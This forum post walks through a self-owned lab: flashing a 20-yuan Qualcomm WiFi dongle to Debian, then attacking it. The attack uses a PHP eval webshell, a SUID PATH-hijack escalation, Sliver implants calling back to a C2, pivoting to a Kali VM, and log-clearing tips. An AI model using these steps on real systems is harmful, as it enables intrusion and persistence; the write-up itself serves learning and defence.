首页
社区
课程
招聘
[原创]20块钱的高通随身WiFi:从EDL刷机到跳板C2的完整链路
发表于: 2026-11-5 23:15 270

[原创]20块钱的高通随身WiFi:从EDL刷机到跳板C2的完整链路

2026-11-5 23:15
270
目标设备:二手 UFI001B 随身 WiFi(高通 MSM8916 / 骁龙 410,eMMC 4GB) 链路:9008 EDL 刷机 → Debian 11 → nginx + PHP 打点 → SUID 提权 → Sliver 驻留 → 反向端口转发 → 横向至同网段 Kali 全部目标为本人自购硬件与自建虚拟机,同一热点内网,无任何第三方系统。 说明:文中连接密码、MAC 地址、设备序列号、本机用户名与本地路径均已替换为占位符;IP 统一改为示例网段(192.168.1.x 为热点侧,192.168.42.x 为 RNDIS 侧)。

一、先说结论

一条完整的攻击链,在云端要花几百块的靶场里能跑出来,在 20 块钱的塑料棒子上也能跑出来,而且更真实——因为它会掉线、会枚举失败、会在你写到一半的时候自己重启。

这篇文章按时间顺序记录四天里踩过的坑。不是"教程",是"复盘":每一步都附上当时的原始输出和报错,包括那些失败的分支。

硬件侧的价值在于:MSM8916 的 9008 模式是芯片级的,它不依赖任何系统层的东西。这意味着只要 EDL 能通,砖了也能救回来——这是后续所有折腾的底气。

二、刷机:三件套没一个按教程走

2.1 进 9008 的判定标准

网上教程一律说"按住 Reset 插 USB"。实际操作里,这句话没有任何判别价值,因为你没法确认自己到底按没按对。

唯一可靠的判据是设备管理器里出现什么:

Get-PnpDevice -PresentOnly | Where-Object { $_.InstanceId -like "*VID_05C6*" }

出现 QHSUSB__BULK 才是真进了 EDL(VID 05C6 是高通)。出现 Android 是正常系统,出现 Camera DFU Device 是枚举异常——这时候插上去会反复消失又出现,edl.py 永远停在 Waiting for the device。

真正的坑不在按键,在窗口:9008 不是插上就一直开着。设备进 9008 之后,如果几十秒内没有任何程序来连它,平台会自动退出、回到正常启动。所以正确顺序是"先把工具装好、命令敲好,最后才插设备",而不是反过来——先插设备再去 pip install,等包下完,设备早就退出了,只能拔了重来。

edl.py 打印 Waiting for the device 超过十几秒没动静,基本就是窗口已经错过,重插,别在那儿干等。

2.2 先备份,再动手

不管后面要干什么,第一步永远是整盘读回。4GB 的 eMMC,读一遍几分钟,换来的是一条退路。

Windows 上没有 dd,用 edl.py 的 rf(read flash)子命令,从第 0 扇区一路读到最后一个:

& "$env:USERPROFILE\edl-venv\Scripts\python.exe" "$env:USERPROFILE\edl-master\edl.py" rf "$env:USERPROFILE\ufi001b-backup\full-backup.bin"

真实输出:

Qualcomm Sahara / Firehose Client V3.62 (c) B.Kerler 2018-2025.
firehose - [LIB]: Sector size in XML 4096 does not match disk sector size 512
Dumping flash with sector count 7471104 as C:\Users\<user>\ufi001b-backup\full-backup.bin.
Progress: |██████████| 100.0% Read (Sector 0x720000 of 0x720000, ) 1.75 MB/s
Dumped flash with sector count 7471104 as C:\Users\<user>\ufi001b-backup\full-backup.bin.

那条 Sector size in XML 4096 does not match disk sector size 512 是个干扰项,不影响结果——它说的是 Firehose 配置里写的扇区尺寸和实际 eMMC 的 512 字节不一致,工具自己会按 512 走。

真正要核对的是数字:

7,471,104 扇区 × 512 字节 = 3,825,205,248 字节 = 3.5625 GiB

和 printgpt 里那行 Total disk size:0x00000000e4000000(同样是 3,825,205,248)分毫不差。两个独立来源对得上,才能说明"从 0 读到最后一个扇区,一个字节没漏"。

备份拿到之后,再按偏移把关键分区单独抠出来,方便反复回写:

& "$env:USERPROFILE\edl-venv\Scripts\python.exe" -c "f=open(r'C:\Users\<user>\ufi001b-backup\full-backup.bin','rb');f.seek(0x8100000);open(r'C:\Users\<user>\aboot-stock.bin','wb').write(f.read(0x100000))"

& "$env:USERPROFILE\edl-venv\Scripts\python.exe" -c "f=open(r'C:\Users\<user>\ufi001b-backup\full-backup.bin','rb');f.seek(0xc18c000);open(r'C:\Users\<user>\boot-stock.bin','wb').write(f.read(0x1000000))"

seek 跳偏移、read 读定长,两个偏移都来自原厂 GPT 里的 Offset 字段:aboot 在 0x8100000(1 MB),boot 在 0xc18c000(16 MB)。跑完没有任何输出就是成功了。

2.3 fastboot 为什么不行

分区表改坏之后,第一反应是用 fastboot 刷回去:

fastboot flash partition gpt_both0.bin
FAILED (remote: 'partition table doesn't exist')

这条报错值得解释一下,因为它是个死循环:fastboot flash partition 这个命令本身是由设备端的 lk(aboot)实现的,而 lk 要执行它,必须先读 GPT 找到 partition 这个分区。现在 GPT 就是坏的,lk 读不出来,于是它告诉你"分区表不存在"——它不是不想刷,是它连自己该往哪刷都不知道。

所以必须退回 EDL,绕开 lk,直接按 LBA 写。主表和备份表要分开写,位置都是算出来的:

# 主 GPT:从扇区 0 开始,34 个扇区
& "$env:USERPROFILE\edl-venv\Scripts\python.exe" edl.py ws 0 "$env:USERPROFILE\Downloads\openstick\base\gpt_main0.bin"

# 备份 GPT:从扇区 7471071 开始,33 个扇区
& "$env:USERPROFILE\edl-venv\Scripts\python.exe" edl.py ws 7471071 "$env:USERPROFILE\Downloads\openstick\base\gpt_backup0.bin"

ws 是 write-start-sector。第一条从 0 开始写 34 个扇区,覆盖保护性 MBR + 主 GPT 头 + 分区项数组;第二条从 7471071 开始写 33 个扇区,落到磁盘最末尾。

7471071 是算出来的:eMMC 共 7,471,104 个扇区,备份 GPT 占最后 33 个,7471104 - 33 = 7471071。

为什么必须分开写:gpt_both0.bin 是 34304 字节,前 34 扇区是主表、后 33 扇区是备份表拼在一起的。fastboot flash partition 内部知道该怎么拆,但 EDL 的 ws 只是"从第 N 扇区开始原样往后写"——把 67 个扇区整体怼到扇区 0,备份表就跑到磁盘中间去了,等于没写。

2.4 4GB 的容量:模板 GPT 本身就是坏的

写完第一版,回读 printgpt:

aboot:   Offset 0x0000000010000000, Length 0x0000000000100000
boot:    Offset 0x0000000010100000, Length 0x0000000004000000
rootfs:  Offset 0x0000000014200000, Length 0x0000000000000000
Total disk size:0x0000000000004400, sectors:0x0000000000000022

两个数字不对劲:

  • rootfs 的 Length 是 0;
  • Total disk size 报 0x4400,也就是 34 个扇区——而真实磁盘有 7,471,104 个扇区。

说明 openstick 模板里的 gpt_main0.bin 是半成品:LastUsableLBA 和 AlternateLBA 都是 0,rootfs 只占了起始位置、没给长度。内核拿到这张表会直接判为无效,root=PARTUUID=... 找不到根分区。

所以这一步不是"多给点空间",是先把表修到合法。手算三个字段加两级 CRC 太容易错,直接写脚本就地改:

TOTAL_SECTORS = 7471104
ALT_LBA       = TOTAL_SECTORS - 1        # 7471103
LAST_USABLE   = ALT_LBA - 33             # 7471070

HDR = 512                                # LBA1 内,头从偏移 512 开始
struct.pack_into('<Q', data, HDR + 24, 1)            # CurrentLBA   = 1
struct.pack_into('<Q', data, HDR + 32, ALT_LBA)      # AlternateLBA
struct.pack_into('<Q', data, HDR + 48, LAST_USABLE)  # LastUsableLBA

分区项数组紧跟在头部后面,从字节偏移 1024(也就是 LBA 2)开始,128 项、每项 128 字节。这里别套"LBA 1024"那种说法——这张表的 PartitionEntryLBA 字段就是 2。

逐项遍历,把 FirstLBA(项内 +32)等于 659456 的那一项的 LastLBA(+40)改成 LAST_USABLE:

ENTRY, NUM, ESZ = 1024, 128, 128   # 1024 是字节偏移,不是 LBA

for i in range(NUM):
    off = ENTRY + i * ESZ
    if data[off:off + 16] == b'\x00' * 16:
        continue
    first = struct.unpack_from('<Q', data, off + 32)[0]
    if first == 659456:                     # rootfs 起始 LBA = 0x14200000 / 512
        struct.pack_into('<Q', data, off + 40, LAST_USABLE)

为什么用 FirstLBA 而不是分区名判断:模板表里名称字段并不总是可靠,而 659456 是由偏移 0x14200000 / 512 直接算出来的硬事实,改错的可能性更低。

最后两级 CRC,顺序不能反:

# 1) 先算分区项数组 CRC,写进头部 +88
struct.pack_into('<I', data, HDR + 88,
                 zlib.crc32(bytes(data[ENTRY : ENTRY + NUM * ESZ])) & 0xffffffff)

# 2) 把头部 +16(HeaderCRC32 自己)清零,再对前 92 字节算 CRC,写回 +16
struct.pack_into('<I', data, HDR + 16, 0)
struct.pack_into('<I', data, HDR + 16,
                 zlib.crc32(bytes(data[HDR : HDR + 92])) & 0xffffffff)

顺序反了会怎样:先算头 CRC 再改数组,头 CRC 就覆盖不到数组的变化,设备读表时校验失败,直接不认。这个坑比算错数更隐蔽,因为文件看起来"确实改过了"。

跑完得到 gpt_main0_fixed.bin,用 ws 0 写回。回读验证:

rootfs:  Offset 0x0000000014200000, Length 0x00000000cfdfbe00
Total disk size:0x0000000000720000, sectors:0x0000000000720000

0xcfdfbe00 ≈ 3.25 GiB,末扇区 7471070。到这里"表"才算可用。

完整脚本一字未改放在附录 A,直接拷出来就能跑(改一下 SRC/DST 两个路径)。

2.5 只改 GPT 是开不了机的

表修好之后还有个更隐蔽的坑:新布局里 aboot 在 0x10000000、rpm 在 0x8080000、tz 在 0x8100000、hyp 在 0x8200000——这几个位置原来是 Android 的 system 分区,装的是文件系统数据,不是引导程序。

也就是说,GPT 指向了一片空地。aboot 位置没有 aboot,开机自然黑屏;而且这时候 Windows 上什么设备都不出现,既没有 9008 也没有 fastboot。

修法是从原厂备份里把这几个分区切出来,写到新布局对应位置:

& "...python.exe" edl.py w rpm   <从 full-backup 切出的 rpm>
& "...python.exe" edl.py w tz    <tz>
& "...python.exe" edl.py w hyp   <hyp>
& "...python.exe" edl.py w aboot <aboot>

这里一律用自己备份里的原厂件,不用 base/*.mbn——那套和本机固件版本不一致,逐 64 字节比对都有差异,混用风险更大。cdt 直接清零。

然后是系统本体,两个写入点:

内容目标 LBA偏移
debian/boot.img5263360x10100000
debian/rootfs.img6594560x14200000

回读校验不能只看"写完了"三个字:

  • boot.img 回读开头必须是 ANDROID!,且与源文件逐字节一致;
  • rootfs.img 回读超级块:ext magic = 0xef53、label = rootfs、UUID 对得上。

rootfs.img 是 sparse 镜像,实际展开 1.14 GB,写之前要让工具自己展开,别手工算长度。

2.6 lk2nd:让引导器自己去找 boot

分区位置一变,原来 aboot 里写死的 boot 偏移(0xc18c000,LBA 396384)就失效了。

lk2nd 的作用是在 aboot 之后插一层:它自己扫 GPT 找出 boot 在哪,再从那里加载。所以位置怎么变它都能找到下一跳。

& "$env:USERPROFILE\edl-venv\Scripts\python.exe" edl.py w boot "$env:USERPROFILE\Downloads\openstick\base\lk2nd.img"

写完回读,比长度也比内容:

& "...python.exe" -c "a=open(r'C:\Users\<user>\boot-readback.bin','rb').read(342032);b=open(r'C:\Users\<user>\Downloads\openstick\base\lk2nd.img','rb').read();print('MATCH' if a==b else 'MISMATCH', len(a), len(b))"
MATCH 342032 342032

342032 就是 lk2nd.img 的完整长度。两边长度和内容都一致,才说明 boot 分区里躺的确实是它。

2.7 一个必须逐字节核对的项

如果 aboot 被改动过(关校验、换引导参数),回读必须和原始备份完全一致:

aboot-now.bin  vs  aboot-stock.bin   →  True

这里拿到 True 才敢断电。aboot 是整条链路上唯一"写坏了就只能靠 EDL 救"的东西,值得多花两分钟。

三、系统落地

引导成功后,串口/屏幕之外的第一个接触点是 SSH:

adb forward tcp:2222 tcp:22
ssh -i ~/.ssh/id_ed25519 -p 2222 root@127.0.0.1

这根棒子后面接了手机热点,wlan0 拿到 192.168.1.14,就可以脱离 ADB 直接连了。系统信息:

Linux openstick 5.15.0-handsomekernel+ #17 SMP PREEMPT Sun Feb 6 22:10:37 CST 2022 aarch64
Debian GNU/Linux 11 (bullseye)

一台 2W 功耗、aarch64、4GB eMMC 的 Debian。它可以 7×24 开着,一个月电费不到一块钱——这是它作为常开靶机/跳板最实际的优点。

四、靶场:洞是"业务代码自己长出来的"

我一开始很抗拒那种"故意留个 system($_GET['cmd']) 然后叫靶场"的做法,因为那不像真实系统。

所以这里的做法是反过来:先按真实设备的思路做信息收集,看它暴露出什么,再从暴露面往下推。

nmap -sT -p 21,22,23,25,53,80,443,445,3306,5432,6379,8443,9999 192.168.1.14
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

22 是自己开的,53 是 openstick 镜像自带的 dnsmasq(给插上来的电脑分 IP),真正未知的只有 80。

80 上是 nginx,做了两件事:.php 交给 php7.4-fpm,其余反代到本机 8080 的 Flask 应用:

server {
    listen 80 default_server;
    root /var/www/html;
    index index.php index.html;

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.4-fpm.sock;
    }

    location / {
        proxy_pass b27K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0R3H3z5o6m8Q4x3@1t1`.
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

后端是个"设备管理控制台",代码写得很正常,正常到有三个洞:

# 1. 登录:字符串拼接
sql = "SELECT username,role FROM users WHERE username='%s' AND password='%s'" % (u, p)

# 2. 备份下载:直接 join,没做 basename
path = os.path.join(BACKUP_DIR, name)

# 3. 网络诊断:拼进 shell
out = subprocess.check_output('ping -c 1 ' + host, shell=True, ...)

这三个都是"开发者图省事"的典型写法,不是刻意埋的。shell=True 拼字符串这种,在真实 IoT 固件里出现频率高得离谱。

信息收集阶段值得多看一眼的是 /diagnose——它把命令输出直接渲染回页面,属于"回显型"入口,后面省很多事。

五、第一跳:webshell

从 Web 到命令执行,最省力的路径是找一个能落文件的点,然后写一个 PHP 马。这里落下去的是一句话:

<?php
eval($_POST["<pass>"]);

哥斯拉连接配置:

URL      613K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0q4Q4x3X3f1I4y4q4)9J5c8X3N6G2k6q4)9J5k6i4m8Z5M7l9`.`.
密码     <pass>
加密器   PhpDynamicPayload / PHP XOR BASE64

连接密码在本文中已替换为占位符。它本质上是一个"单参数 eval",只要知道参数名和值,任何人拿到 URL 就能执行命令——这也正是这类木马危险的地方:没有认证,只有一层名字上的隐秘性。

连上之后的第一个界面就能确认权限层级:

currentDir:/var/www/html/
currentUser:www-data
osInfo:Linux openstick 5.15.0-handsomekernel+ #17 SMP PREEMPT ... aarch64
/var/www/html/ > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data。到这一步只拿到了一个 Web 进程的身份,离 root 还差一次提权。

六、提权:一个"设备信息采集工具"

翻 SUID 是常规动作:

find / -perm -4000 -type f 2>/dev/null

结果里有一个 /usr/local/bin/sysinfo:

ls -l /usr/local/bin/sysinfo
-rwsr-xr-x 1 root root ... /usr/local/bin/sysinfo

rws 里的 s 就是 SUID 位。看它的源码:

int main(void)
{
    setuid(0);
    setgid(0);
    printf("=== iotlab system info ===\n");
    system("uname -a");
    system("cat /proc/cpuinfo | head -4");
    system("uptime");
    return 0;
}

三个问题叠在一起:

1. 文件带 SUID 且属主是 root;

2. 程序内部调用 system() 起子进程;

3. system() 用的是相对命令名 uname,PATH 没加固。

只要能让它在执行 uname 时先找到我放的假 uname,这段代码就会以 root 身份执行我的东西。

做法:

printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /tmp/uname
chmod +x /tmp/uname
PATH=/tmp:$PATH /usr/local/bin/sysinfo

输出是这样的:

=== iotlab system info ===
processor	: 0
BogoMIPS	: 38.40
Features	: fp asimd evtstrm crc32 cpuid
...

注意第一行本来应该有的 Linux openstick ... 不见了——因为 uname 已经被换成了我们的脚本。这个"少了一行"就是劫持成功的证据,比任何提示都可靠。

这里有个插曲,值得单独讲——我一度以为 /tmp 那个副本失败了。

-rwsr-xr-x 1 root root 1282512 Nov  3 13:45 /tmp/rootbash

权限位 rws、属主 root,文件本身没问题。但执行之后 id 还是:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

看不到 root,于是判断"没生效",换个目录重来:

-rwsr-xr-x 1 root root 1282512 Nov  3 13:48 /usr/local/bin/rootbash

换完 id 依旧 uid=33。两个位置表现完全一样,这才开始怀疑问题不在路径。

真正的判据是直接问 bash 自己的有效身份:

/usr/local/bin/rootbash -p -c 'echo EUID=$EUID'
EUID=

输出是空的。这个更容易让人以为彻底失败,但空的原因跟权限一点关系都没有:哥斯拉执行命令时会在外面再套一层双引号,实际跑的是:

sh -c "/usr/local/bin/rootbash -p -c 'echo EUID=$EUID'"

外层双引号里的 $EUID 先被外层 shell 展开成空值,等命令传到内层 bash,只剩下了 echo EUID=。单引号根本没起到保护作用。

换成不含外壳变量的判据:

/usr/local/bin/rootbash -p -c 'id'
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

/usr/local/bin/rootbash -p -c 'cat /root/flag.txt'
flag{1ot_g4t3w4y_r00t_2024}

/root/flag.txt 是为了验证提权自己写进去的,不是比赛题目。

这里还有个容易被误判的细节:uid 还是 33,只有 euid 变成 0。很多人到这一步以为失败了。SUID 的本质就是这样——进程的"真实身份"没变,变的是"有效身份";能不能读 /root 下的文件,看的是 euid。

-p 是关键:bash 在 euid != uid 时会主动降权回真实用户,-p 让它保留特权模式。

结论:提权从一开始就是成功的,/tmp 那个副本也是好的。失败的只是观测方式——uid 永远是 33,$EUID 又被外层展开,两个"证据"同时指向了错误方向。

这个坑比技术本身更值得记:拿到不符合预期的输出,先确认"是不是我看错了",再确认"是不是它做错了"。

七、Sliver:从"请求-响应"到"常驻连接"

webshell 的局限很明确:它被动。你不发请求,它就不动;你断网,它就断。要做驻留和横向,需要一个反向长连接。

Windows 端起 server,监听 mTLS 8888:

[server] sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

先放行防火墙,否则棒子连不回来:

New-NetFirewallRule -DisplayName "Sliver" -Direction Inbound -LocalPort 8888,8000 -Protocol TCP -Action Allow -Profile Any

生成 arm64 的木马:

[server] sliver > generate --mtls 192.168.1.14:8888 --os linux --arch arm64 --skip-symbols
[*] Generating new linux/arm64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 26s

--skip-symbols 是因为 garble 在这台机器上被 Application Control 策略拦了:

[!] rpc error: code = Internal desc = fork/exec C:\Users\<user>\.sliver\go\bin\garble.exe:
    An Application Control policy has blocked this file.

投递、执行,第一条 session 回来:

id         name               transport  remote address       hostname   username   process (pid)      os           health
a409344e   CHEERFUL_SLIPPER   mtls       192.168.1.14:60396   openstick  www-data   /tmp/impl (526)    linux/arm64  [ALIVE]

先用 SUID 拿到 root,再起一个:

ddc9f973   MISTY_STURGEON   mtls   192.168.1.14:46036   openstick   root   /root/impl2 (910)   linux/arm64

同一台机器上两条 session,一条 euid 33,一条 uid 0。这个对比本身就是结论:implant 继承的是启动它的那个进程的凭证,所以拿到 root 之后必须重新投递一次,才能真正做 root 的事。

八、跳板:这根棒子同时是路由器和跳板

ifconfig 在棒子上看得很清楚,它有两个网口:

usb0    192.168.42.1/16    xx:xx:xx:xx:xx:xx
wlan0   192.168.1.14/24     yy:yy:yy:yy:yy:yy
  • wlan0 连手机热点,出网;
  • usb0 是 RNDIS,给插上来的电脑/Kali 分配地址,网段 192.168.42.0/16。

转发是开着的:

cat /proc/sys/net/ipv4/ip_forward
1

这里出现第一个真实问题:Kali 在 192.168.42.30,C2 在 192.168.1.58,两者不在一个网段。虽然棒子开了转发,但 Kali 上的木马要能主动连出去,必须有一个它够得着的入口。

解法是反向端口转发——让棒子替 C2 收连接:

[server] sliver (CHEERFUL_SLIPPER) > rportfwd add -b 0.0.0.0:8889 -r 127.0.0.1:8888
[*] Reverse port forwarding 127.0.0.1:8888 <- 0.0.0.0:8889

意思:棒子在 0.0.0.0:8889 上监听,收到的东西顺着这条 mTLS 会话回灌到 C2 的 8888。于是 192.168.42.1:8889 就成了一个"从内网看得到的 C2 入口"。

生成 amd64 木马,指向那个入口:

[server] sliver > generate --mtls 192.168.1.14:8889 --os linux --arch amd64 --skip-symbols -N second
[*] Implant saved to D:\<path>\second

然后 Kali 上线:

af15610e   HUGE_UNCLE   mtls   192.168.42.30:57052   kali   kali   /tmp/impl_kali (1283)   linux/amd64   [ALIVE]

注意它的 Remote Address 是 192.168.42.30:57052——这是 usb0 网段,说明这条连接确实是从棒子的内网侧进来的,不是本机回环。

中间还有一次失败的尝试:最早把木马打在 WSL 上,session 的 Remote Address 是 127.0.0.1:60415,hostname 是 localhost。自己看一眼就知道是假的,因为真实的横向不会出现 localhost。删掉重来,才有了上面那条 192.168.42.30。

最终两条 session 同时在线的状态,就是整条链路的收尾证据:

ID         Name               Remote Address       Hostname    Username   Process (PID)           OS
af15610e   HUGE_UNCLE         192.168.42.30:57052  kali        kali       /tmp/impl_kali (1283)   linux/amd64
ddc9f973   MISTY_STURGEON     192.168.1.14:46036    openstick   root       /root/impl2 (910)       linux/arm64

一台 20 块钱的棒子,同时握着宿主机 C2、自身 root、以及内网另一台机器的会话。

九、为什么这条链路"看起来不像靶场"

不是因为工具有多高级,而是因为它包含大量无法伪造的失败:

阶段真实出现的失败
进 EDLCamera DFU Device 与 QHSUSB__BULK 交替出现,反复重插
改分区fastboot flash partition 报 partition table doesn't exist
分区验证printgpt 报 Total disk size 0x4400(34 扇区),才发现模板 GPT 是半成品
引导表修好了照样黑屏,因为 aboot/rpm/tz/hyp 位置全是原 system 的旧数据
提权早就拿到 euid=0,却因 uid=33 和 $EUID 被外层展开而误判成失败
生成木马garble 被 Application Control 拦截,只能关掉符号混淆
操作 C2unknown command "^T"、shell ip -4 a 参数被当成 flag
横向第一次打在 WSL 回环上,localhost 太假,推倒重来

靶场是"先设计洞,再有机器"。这条链路是"先有机器,再有洞,再有链",顺序反过来,中间每一步都可能失败,而失败的位置无法预知。

四天时间线也说明了这点:11-01 拿到硬件,11-02 刷机 + GPT,11-03 打点提权,11-04 到 11-05 才把 C2 和横向跑通。

十、痕迹:这条链在目标上留下了什么

做完要能回答"如果我是防守方,我能在哪看到你"。这台机器上至少六处:

1. nginx access log:god.php 的 POST 请求,UA、时间、频率全在;

2. auth.log:SSH 登录记录,包括来源 IP;

3. 进程:/tmp/impl、/root/impl2、/tmp/impl_kali 这种路径和名字,ps 一眼就看出来;

4. SUID 文件:/usr/local/bin/rootbash,find / -perm -4000 必现;

5. sysctl:ip_forward 从 0 变 1,属于配置漂移;

6. journal:iotlab.service 的启动和重启记录,时间点能对上。

清理日志这里有个坑,我专门确认过:

echo -n > /var/log/nginx/access.log

echo -n 不输出任何字符(包括换行),效果是把文件截断成 0 字节。看起来是清空了,但有两个问题:一是如果 nginx 还持有这个文件的 fd,写入会继续,且文件大小由 offset 决定;二是"文件突然变成 0 字节"本身就是异常信号,比不清更显眼。

正确做法是 : > file(只做 truncate,不产生写入)配合 logrotate,或者干脆别清——真实的应急响应看的不是"有没有日志",是"日志有没有断层"。

十一、成本

项目数值
硬件20 元(二手 UFI001B)
功耗约 2W,7×24 常开,月电费不到 1 元
存储eMMC 4GB
内存512MB
时间刷机 2 天,打点 1 天,C2 与横向 1 天

十二、写在最后

这条链路里最有意思的不是 Sliver,是那根 20 块钱的棒子本身。

它证明了一件事:攻击链的门槛不在算力,在可达性。一台能长期在线、有真实网络位置、成本几乎为零的设备,比一台高性能云主机更适合做跳板——因为它不显眼,而且掉了不心疼。

同时它也提醒了一件事:IoT 设备上那种"SUID + system() + 不固定 PATH"的写法,在真实固件里极其常见。这类问题不需要 0day,只需要有人愿意翻一遍 find / -perm -4000。


附录 A:fixgpt.py 完整脚本

第 2.4 节用的就是这个脚本,一字未改。它读入模板 gpt_main0.bin,改三个头部字段 + 一个分区项 + 两级 CRC,输出 gpt_main0_fixed.bin。

import struct
import zlib

SRC = r'C:\Users\<user>\Downloads\openstick\base\gpt_main0.bin'
DST = r'C:\Users\<user>\gpt_main0_fixed.bin'

TOTAL_SECTORS = 7471104
ALT_LBA = TOTAL_SECTORS - 1
LAST_USABLE = ALT_LBA - 33

data = bytearray(open(SRC, 'rb').read())
print('file size:', len(data))

HDR = 512
if data[HDR:HDR + 8] != b'EFI PART':
    raise SystemExit('not a valid GPT header')

old_alt = struct.unpack_from('<Q', data, HDR + 32)[0]
old_last = struct.unpack_from('<Q', data, HDR + 48)[0]
print('old AlternateLBA :', old_alt)
print('old LastUsableLBA:', old_last)
print('new AlternateLBA :', ALT_LBA)
print('new LastUsableLBA:', LAST_USABLE)
print('---')

struct.pack_into('<Q', data, HDR + 24, 1)
struct.pack_into('<Q', data, HDR + 32, ALT_LBA)
struct.pack_into('<Q', data, HDR + 48, LAST_USABLE)

ENTRY = 1024
NUM = 128
ESZ = 128

rootfs_fixed = False
for i in range(NUM):
    off = ENTRY + i * ESZ
    if data[off:off + 16] == b'\x00' * 16:
        continue
    first = struct.unpack_from('<Q', data, off + 32)[0]
    last = struct.unpack_from('<Q', data, off + 40)[0]
    raw = bytes(data[off + 56:off + 128])
    name = raw.decode('utf-16-le', 'ignore').split('\x00')[0]
    print('%2d  %-10s start=%-9d end=%-9d sectors=%d' % (i, name, first, last, last - first + 1))
    if first == 659456:
        struct.pack_into('<Q', data, off + 40, LAST_USABLE)
        rootfs_fixed = True
        print('    -> fixed: sectors=%d (%.2f GB)' % (LAST_USABLE - first + 1,
                                                      (LAST_USABLE - first + 1) * 512 / 1024 / 1024 / 1024))

print('---')
print('rootfs fixed:', rootfs_fixed)

pcrc = zlib.crc32(bytes(data[ENTRY:ENTRY + NUM * ESZ])) & 0xffffffff
struct.pack_into('<I', data, HDR + 88, pcrc)

struct.pack_into('<I', data, HDR + 16, 0)
hcrc = zlib.crc32(bytes(data[HDR:HDR + 92])) & 0xffffffff
struct.pack_into('<I', data, HDR + 16, hcrc)

open(DST, 'wb').write(data)
print('---')
print('written:', DST, len(data), 'bytes')

几个刻意的写法:

1. 先 bytearray 再原地改。GPT 是二进制结构,不能用文本编辑,所有修改都通过 struct.pack_into 按偏移写进去。

2. 改之前先打印旧值。old AlternateLBA / old LastUsableLBA 打出来是 0 和 0,这是"模板表本身是半成品"的直接证据,比事后推测可靠。

3. 用 FirstLBA == 659456 定位 rootfs,不用名字匹配。659456 = 0x14200000 / 512,是从 printgpt 的 Offset 直接算出来的。

4. 校验 EFI PART 魔数。改错文件(比如误传 gpt_both0.bin)会立刻退出,不会写出一张更坏的表。

5. CRC 用 & 0xffffffff。Python 的 zlib.crc32 在 3.x 返回无符号,但显式截断一次更保险,避免 pack_into('<I') 在某些版本上报越界。

跑完只认两个结果:rootfs fixed: True,以及 written: ... 17408 bytes(和输入等长,说明只是原地改写,没有增删扇区)。然后用前文那条 ws 0 写回,再 printgpt 确认 Total disk size 变成 0x720000。


合规声明

本文所有操作的目标均为作者本人购买的二手随身 WiFi,以及作者本人在同一 NAT 网段内自建的 Kali 虚拟机。文中出现的 IP、主机名、会话 ID 均属于该隔离实验环境,不涉及任何第三方系统、公网资产或他人设备。相关技术内容仅用于学习与防御视角下的风险评估,请勿用于未授权的系统。



[招生]科锐逆向工程师培训(2026年11月13日实地,远程教学同时开班, 第57期)

收藏
点赞 ・5
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回